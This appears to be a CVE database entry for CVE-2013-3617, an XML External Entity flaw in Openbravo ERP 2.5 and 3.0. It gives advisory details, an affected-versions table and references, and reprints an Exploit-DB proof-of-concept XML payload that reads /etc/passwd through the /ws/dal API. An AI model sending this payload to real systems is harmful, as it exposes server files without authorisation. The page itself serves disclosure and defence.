CVE-2013-3617
Description
The XML API in Openbravo ERP 2.5, 3.0, and earlier allows remote authenticated users to read arbitrary files via an XML document with an external entity declaration in conjunction with an entity reference to /ws/dal/ADUser or other /ws/dal/XXX interfaces, related to an XML External Entity (XXE) issue.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Openbravo ERP - XML External Entity Information Disclosure
source: https://www.securityfocus.com/bid/63431/info
Openbravo ERP is prone to an information-disclosure vulnerability.
An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.
Openbravo ERP 2.5 and 3.0 are vulnerable.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT comments ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<ob:Openbravo xmlns:ob="http://www.example.com"
xmlns:xsi="http://www.example1.com/2001/XMLSchema-instance">
<Product id="C970393BDF6C43E2B030D23482D88EED" identifier="Zumo de Piรฑ,5L">
<id>C970393BDF6C43E2B030D23482D88EED</id>
<comments>&xxe;</comments>
</Product>
</ob:Openbravo>
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| openbravo | openbravo_erp | {"endIncluding":"3.0"} | |
| openbravo | openbravo_erp | 2.40 | |
| openbravo | openbravo_erp | 2.50 | |
References
- http://www.kb.cert.org/vuls/id/533894
- http://www.securityfocus.com/bid/63431
- https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats
- http://www.kb.cert.org/vuls/id/533894
- http://www.securityfocus.com/bid/63431
- https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats
CWEs
CWE-264
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.